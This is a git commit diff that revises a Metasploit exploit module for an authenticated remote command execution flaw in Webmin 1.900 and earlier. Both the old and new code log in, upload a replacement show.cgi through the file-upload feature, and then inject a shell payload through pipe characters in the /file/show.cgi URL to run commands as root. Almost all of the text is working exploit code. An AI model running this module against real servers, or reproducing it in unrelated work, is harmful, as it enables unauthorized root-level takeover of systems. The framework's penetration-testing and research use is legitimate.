Bug and style fixes

webmin RCE
master
Jacob Robles 2019-03-12 10:54:43 -05:00
parent b49b7ca9db
commit bd1cd7fae8
No known key found for this signature in database
GPG Key ID: 3EC9F18F2B12401C
1 changed files with 96 additions and 129 deletions

View File

@ -15,22 +15,25 @@ class MetasploitModule < Msf::Exploit::Remote
'Description' => %q(
This module exploits an arbitrary command execution vulnerability in Webmin
1.900 and lower versions. Any user authorized to the "Java file manager"
and "Upload and Download" fields, to execute arbitrary commands with root privileges.
and "Upload and Download" fields can execute arbitrary commands with root
privileges.
In addition, if the 'Running Processes' (proc) privilege is set the user can
accurately determine directory upload to. Webmin application files can be
written/overwritten, thus allowing RCE root. The module has been tested
successfully with Webmin 1900 over Debia'cookie' "redirect=1; testing=1;
sid=#{session}"n 4.9.18.
Using GUESSUPLOAD attempts to use a default installation path in order to trigger the
exploit.
accurately determine which directory to upload to. Webmin application files
can be written/overwritten, which allows remote code execution. The module
has been tested successfully with Webmin 1900 on Debian 4.9.18.
Using GUESSUPLOAD attempts to use a default installation path in order to
trigger the exploit.
),
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, Initial PoC module
'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, Initial PoC module
'Ziconius <Kris.Anderson[at]immersivelabs.com>' # Updated MSF module; removing 'proc' requirement.
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB', '46201'],
['URL', 'https://pentest.com.tr/exploits/Webmin-1900-Remote-Command-Execution.html']
],
'Privileged' => true,
@ -44,144 +47,112 @@ class MetasploitModule < Msf::Exploit::Remote
'RequiredCmd' => 'generic perl ruby python telnet'
}
},
'DefaultOptions' =>
{
'RPORT' => 10000,
'SSL' => true
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Webmin <= 1.900', {}]],
'DisclosureDate' => 'Jan 17 2019',
'DefaultTarget' => 0)
)
register_options(
[
Opt::RPORT(10000),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptBool.new('GUESSUPLOAD', [true, "If no 'proc' permissions exists use default path.", false]),
register_options [
OptBool.new('GUESSUPLOAD', [true, 'If no "proc" permissions exists use default path.', false]),
OptString.new('USERNAME', [true, 'Webmin Username']),
OptString.new('PASSWORD', [true, 'Webmin Password'])
], self.class
)
]
end
def login
res = send_request_cgi({
'method' => 'POST',
'uri' => '/session_login.cgi',
'cookie' => 'testing=1',
'vars_post' => {
'page' => '',
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD']
}
})
if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/
return $1
end
return nil unless res
''
end
##
# Target and input verification
##
def check
vprint_status("Attempting to login...")
data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/session_login.cgi",
'cookie' => "testing=1",
'data' => data
}, 25
)
cookie = login
return CheckCode::Detected if cookie == ''
return CheckCode::Unknown if cookie.nil?
if res && res.code == 302 && res.get_cookies =~ /sid/
print_good "Login successful"
session = res.get_cookies.split("sid=")[1].split(";")[0]
else
print_error "Service found, but login failed"
return Exploit::CheckCode::Detected
end
print_status("Attempting to execute...")
command = "echo #{rand_text_alphanumeric(rand(0..9))}"
vprint_status('Attempting to execute...')
command = "echo #{rand_text_alphanumeric(0..9)}"
res = send_request_cgi(
{
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
'cookie' => "sid=#{session}"
'cookie' => "sid=#{cookie}"
}, 25
)
if res && res.code == 200 && res.message =~ /Document follows/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
return CheckCode::Vulnerable
end
CheckCode::Safe
end
##
# Exploiting phase
##
def exploit
peer = "#{rhost}:#{rport}"
print_status("Attempting to login...")
data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/session_login.cgi",
'cookie' => "testing=1",
'data' => data
}, 25
)
if res && res.code == 302 && res.get_cookies =~ /sid/
session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || ''
if session && !session.empty?
print_good "Login successfully"
else
print_error "Authentication failed"
return
end
else
print_error "Authentication failed"
return
cookie = login
if cookie == '' || cookie.nil?
fail_with(Failure::Unknown, 'Failed to retrieve session cookie')
end
print_good("Session cookie: #{cookie}")
##
# Directory and SSL verification for referer
##
ps = datastore['SSL'].to_s
guess_dir = datastore['GUESSUPLOAD'].to_s
if ps == "true"
ssl = "https://"
else
ssl = "http://"
end
phost = ssl ? 'https://' : 'http://'
phost << peer
print_status("Target URL => #{phost}")
print_status("Target URL => #{ssl}#{peer}")
res1 = send_request_raw(
'method' => "POST",
'uri' => "/proc/index_tree.cgi?",
res = send_request_raw(
'method' => 'POST',
'uri' => '/proc/index_tree.cgi',
'headers' =>
{
'Referer' => "#{ssl}#{peer}/sysinfo.cgi?xnavigation=1"
'Referer' => "#{phost}/sysinfo.cgi?xnavigation=1"
},
'cookie' => "redirect=1; testing=1; sid=#{session}"
'cookie' => "redirect=1; testing=1; sid=#{cookie}"
)
unless res && res.code == 200
fail_with(Failure::Unknown, 'Request failed')
end
if res1 && res1.code == 200 && res1.body =~ /Running Processes/
print_status "Searching for directory to upload..."
stpdir =
res1
.body.scan(/perl.+miniserv.pl/)
.map { |s| s.split("perl ").last }
.map { |d| d.split("miniserv").first }
.map { |d| d.split("miniserv").first }
if !stpdir[0].nil?
dir = stpdir[0] + "file"
print_good("Directory to upload => #{dir}")
elsif guess_dir == "true" && stpdir[0].nil?
array = ["/usr/share/webmin/file"]
array.each do |i|
print_good("Attempting: " + i)
upload_attempt(ssl, peer, session, i)
end
else
print_error("Running processed check failed, not guessing uploads. Quitting.")
return
end
print_status 'Searching for directory to upload...'
if res.body =~ /Running Processes/ && res.body =~ /[^ ] ([\/\w]+)miniserv\.pl/
directory = $1
elsif datastore['GUESSUPLOAD']
print_warning('Could not determine upload directory. Using /usr/share/webmin/')
directory = '/usr/share/webmin/'
else
print_error "No access to processes or no upload directory found."
print_error('Failed to determine webmin share directory')
print_error('Set GUESSUPLOAD to attempt upload to a default location')
return
end
directory << 'file'
upload_attempt(phost, cookie, directory)
##
# Loading phase of the vulnerable file
@ -189,23 +160,20 @@ class MetasploitModule < Msf::Exploit::Remote
##
print_status("Attempting to execute the payload...")
command = payload.encoded
res = send_request_cgi(
{
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(0..9))}|#{command}|",
'cookie' => "sid=#{session}"
}, 25
)
res = send_request_cgi({
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(0..9)}|#{command}|",
'cookie' => "sid=#{cookie}"
})
if res && res.code == 200 && res.message =~ /Document follows/
print_good "Payload executed successfully"
print_good 'Payload executed successfully'
else
print_error "Error executing the payload"
return
print_error 'Error executing the payload'
end
end
def upload_attempt(ssl, peer, session, dir)
boundary = Rex::Text.rand_text_alphanumeric(29)
def upload_attempt(phost, cookie, dir)
boundary = rand_text_alphanumeric(29)
data2 = "-----------------------------#{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"upload0\"; filename=\"show.cgi\"\r\n"
@ -258,39 +226,38 @@ class MetasploitModule < Msf::Exploit::Remote
data2 << "print \"Content-length: \",length($_[0]),\"\\n\\n\";\nprint $_[0];\nexit;\n}\n\n"
data2 << "sub ok_exit\n{\nprint \"Content-type: text/plain\\n\\n\";\nprint \"\\n\";\nexit;\n}"
data2 << "\r\n\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "-----------------------------#{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"dir\"\r\n\r\n#{dir}\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "-----------------------------#{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"user\"\r\n\r\nroot\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "-----------------------------#{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"group_def\"\r\n\r\n1\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "-----------------------------#{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"group\"\r\n\r\n\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "-----------------------------#{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"zip\"\r\n\r\n0\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "-----------------------------#{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"email_def\"\r\n\r\n1\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "-----------------------------#{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"ok\"\r\n\r\nUpload\r\n"
data2 << "-----------------------------{boundary}--\r\n"
data2 << "-----------------------------#{boundary}--\r\n"
res2 = send_request_raw(
'method' => "POST",
'uri' => "/updown/upload.cgi?id=154739243511",
'method' => 'POST',
'uri' => "/updown/upload.cgi?id=#{rand_text_numeric(8..12)}",
'data' => data2,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}',
'Referer' => "#{ssl}#{peer}/updown/?xnavigation=1"
'Content-Type' => "multipart/form-data; boundary=---------------------------#{boundary}",
'Referer' => "#{phost}/updown/?xnavigation=1"
},
'cookie' => "redirect=1; testing=1; sid=#{session}"
'cookie' => "redirect=1; testing=1; sid=#{cookie}"
)
if res2 && res2.code == 200 && res2.body =~ /Saving file/
print_good "Vulnerable show.cgi file was successfully uploaded."
print_good 'Vulnerable show.cgi file was successfully uploaded.'
else
print_error "Upload failed."
return
print_error 'Upload failed.'
end
end
end